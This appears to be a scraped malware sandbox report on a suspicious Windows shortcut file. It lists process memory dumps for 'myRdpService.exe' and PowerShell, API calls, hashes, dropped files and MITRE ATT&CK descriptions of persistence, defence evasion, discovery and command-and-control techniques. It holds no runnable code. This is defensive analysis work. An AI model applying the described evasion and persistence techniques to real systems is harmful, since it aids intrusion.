Instruction ID: 25b419e95a37741bb813fdd216ddc1ef897b28a1245afa54b65ea5c59873c699
Opcode Fuzzy Hash: 8481292655c48ce4b8c9aba94b711c86548e11bd0c52ed525326e202feef0eb0
Instruction Fuzzy Hash: 52F03C02A1E7C20FE3A392746C661B87F606F63620B1D01FBC095CB1F7DD0868598362

Analysis Process: myRdpService.exePID: 4300, Parent PID: 876COMMON

Non-executed Functions

Function 00007FF75921DB00 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF75921DB2C
GetCurrentThreadId.KERNEL32 ref: 00007FF75921DB3A
GetCurrentProcessId.KERNEL32 ref: 00007FF75921DB46
QueryPerformanceCounter.KERNEL32 ref: 00007FF75921DB56

Memory Dump Source

Source File: 00000031.00000002.476270520115.00007FF759161000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF759160000, based on PE: true

Associated: 00000031.00000002.476270356531.00007FF759160000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476272694589.00007FF759666000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476273381805.00007FF759828000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476273381805.00007FF75996A000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476273381805.00007FF75996C000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476274980081.00007FF759BC0000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BC2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BCC000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BDE000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BE0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BE3000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275057464.00007FF759BE5000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000031.00000002.476275483700.00007FF759BE8000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_49_2_7ff759160000_myRdpService.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction ID: 5d578c3f2382577fa7632cf018e5f704ea852d7e560b8a612f9091fa4214cac9
Opcode Fuzzy Hash: b66d8daab459609d726222c036090e22f93798fcae7550261880a99b86b28e2a
Instruction Fuzzy Hash: 9D111C22B14F068AFF00DF60E8542B873B4FB59758F881A35DA6D4A7A4DF7CE1A48350

Analysis Process: powershell.exePID: 4316, Parent PID: 4180COMMON

Executed Functions

Function 00007FFE7A9734B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000039.00000002.476073740704.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction ID: 5a5d5bd8dffb2e15f225265433128e6e79903513e7a9b1346bebe7c7b5a609e9
Opcode Fuzzy Hash: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction Fuzzy Hash: 9701677121CB0D4FD748EF0CE451AB6B7E0FB95324F10056EE59AC3661D636E892CB46

Function 00007FFE7AA40506 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000039.00000002.476078952977.00007FFE7AA40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7AA40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_57_2_7ffe7aa40000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69180892ceabeccca33174e6de58db6f427979e2f6a3b419928abb9f0f72dab3
Instruction ID: 15ebf2326ff2ae964c28b7e9d623d4e06ed5d4d993a8a5a2feb4a79f653b774b
Opcode Fuzzy Hash: 69180892ceabeccca33174e6de58db6f427979e2f6a3b419928abb9f0f72dab3
Instruction Fuzzy Hash: 63E0C233E08C2C5F9F91DB5CA4192EDB7B2FB88231B000177E90CE3100CA20880243C4

Analysis Process: powershell.exePID: 3924, Parent PID: 9472COMMON

Executed Functions

Function 00007FFE7A9733B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000003A.00000002.476253517992.00007FFE7A970000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE7A970000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_58_2_7ffe7a970000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction ID: aed4a32bba28b456d8ad68d77f878f7e364326d7395d0db2490c50b853fe093a
Opcode Fuzzy Hash: 57c11ce672fc823662bc6f3962b845d271132ab30cff6bab67f57ef27f0157e5
Instruction Fuzzy Hash: 5A01A73121CB0D4FD748EF0CE051AB6B3E0FB85324F10056EE58AC36A1DA36E882CB42

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report rRtGI3L0ca.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Office\Licenses\5\Perpetual\21661362613116367064193984360 (copy)

C:\Users\user\AppData\LocalLow\Intel\ShaderCache\55358e20b61aed6fcad5b2283103fb1fe9f3dd3668577b575161f953d12f5a3f

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{6CC798F1-41DC-4B61-997B-BE22799F7654}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915673840656700_1FB0B10F-1DBF-4FFF-986B-8ADF7C215209.log

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App_1733915673841794600_1FB0B10F-1DBF-4FFF-986B-8ADF7C215209.log

C:\Users\user\AppData\Local\Temp\E813E170.tmp

Windows Analysis Report
rRtGI3L0ca.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre